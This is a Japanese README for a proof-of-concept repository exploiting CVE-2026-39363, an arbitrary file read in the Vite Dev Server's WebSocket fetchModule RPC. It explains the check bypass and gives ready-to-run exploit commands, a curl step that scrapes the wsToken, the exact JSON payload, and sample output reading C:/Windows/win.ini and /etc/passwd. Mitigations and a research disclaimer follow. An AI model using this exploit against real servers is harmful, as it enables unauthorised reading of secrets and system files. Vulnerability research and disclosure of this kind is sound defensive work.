
CVE-2026-39363のエクスプロイト。Vite Dev ServerのWebSocket任意ファイル読み取り脆弱性であり、自動化されたエクスプロイト用のPythonおよびNode.jsスクリプトと手動手順が含まれています。
| 属性 | 情報 |
|---|
| CVE ID | CVE-2026-39363 |
| GHSA ID | GHSA-p9ff-h696-f583 |
| 脆弱性タイプ | Arbitrary File Read (任意ファイル読み取り) |
| 影響コンポーネント | Vite Dev Server |
| 影響バージョン | Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10 |
| CVSS スコア | High |
| 修正バージョン | Vite >= 6.2.3 |
Vite Dev Server の WebSocket fetchModule RPC 呼び出しに、セキュリティチェックのバイパス脆弱性が存在します。
脆弱性コードの場所: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070
async function fetchModule(environment, url, importer, options = {}) {
// ...
const isFileUrl = url.startsWith("file://");
// 重要な脆弱性ポイント:URL が file:// の場合、または importer がない場合
// 直接 resolveId を呼び出し、isFileServingAllowed チェックが行われない!
if (isFileUrl || !importer) {
const resolved = await environment.pluginContainer.resolveId(url);
if (!resolved) {
throw new Error(`[vite] cannot find entry point module '${url}'.`);
}
url = normalizeResolvedIdToUrl(environment, url, resolved);
}
// ...処理を続行し、ファイル内容を返す
}
┌─────────────────────────────────────────────────────────────────┐
│ HTTP リクエストパス (セキュリティチェックあり) │
├─────────────────────────────────────────────────────────────────┤
│ HTTP GET /@fs/C:/secret.txt │
│ │ │
│ ▼ │
│ ensureServingAccess() │
│ │ │
│ ▼ │
│ isFileServingAllowed() │
│ │ │
│ ▼ │
│ isFileLoadingAllowed() ────> BLOCKED │
│ (server.fs.allow をチェック) │
└─────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────┐
│ WebSocket リクエストパス (チェックをバイパス) │
├─────────────────────────────────────────────────────────────────┤
│ WebSocket: fetchModule("file://C:/secret.txt") │
│ │ │
│ ▼ │
│ fetchModule() │
│ (isFileUrl || !importer) ───> 直接 resolveId │
│ │ │
│ ▼ │
│ loadAndTransform() │
│ isFileLoadingAllowed() ────> fs.allow 設定に依存 │
│ │ │
│ ▼ │
│ ファイル内容を正常に返す (fs.allow が許可する場合) │
└─────────────────────────────────────────────────────────────────┘
HTTP パス: ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed の多層チェックを通過
WebSocket パス:
fetchModule 関数は isFileServingAllowed を呼び出さないloadAndTransform 内の isFileLoadingAllowed は依然として有効server.fs.allow 設定が緩い場合、任意のファイルを読み取ることが可能--host を使用)fs.allow: ['..'] - 上位ディレクトリを読み取り可能fs.allow: ['C:/'] - C ドライブ全体を読み取り可能fs.strict: false - 完全に無制限/@vite/client にアクセスすることで取得)# リポジトリをクローン
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363
# 依存関係をインストール
npm install
# Vite Dev Server を起動(脆弱性デモ用の緩い設定を使用)
npm run dev
# 基本的な使用方法(ポートを自動検出)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"
# プロジェクト外のファイルを読み取り
python exp.py -t localhost -p 5173 -f "E:/secret.txt"
# トークンを指定
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"
# wsToken を取得
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'
# POC を実行
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"
curl -s "http://target:5173/@vite/client" | grep wsToken
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
{
"type": "custom",
"event": "vite:invoke",
"data": {
"id": "invoke_0",
"name": "fetchModule",
"data": ["file:///C:/Windows/win.ini"]
}
}
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini
[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])
============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
============================================================
CVE-2026-39363/
├── README.md # 脆弱性分析ドキュメント
├── exp.py # Python exploit スクリプト
├── poc.js # Node.js POC
├── vite.config.js # Vite 設定ファイル(デモ用)
├── package.json # プロジェクト設定
├── src/ # ソースコードディレクトリ
│ ├── main.js
│ ├── counter.js
│ └── style.css
├── public/ # 静的リソース
└── index.html # エントリー HTML
npm update vite
# または
npm install vite@latest
// vite.config.js
export default defineConfig({
server: {
fs: {
strict: true,
allow: ['.'] // プロジェクトルートディレクトリのみ許可
}
}
})
--host によるサービス公開を避けるこのプロジェクトは、セキュリティ研究および教育目的のみで提供されています。この脆弱性の悪用コードを違法な活動に使用しないでください。このコードをテストに使用する前に、対象システムの所有者から明示的な許可を得ていることを確認してください。
MIT License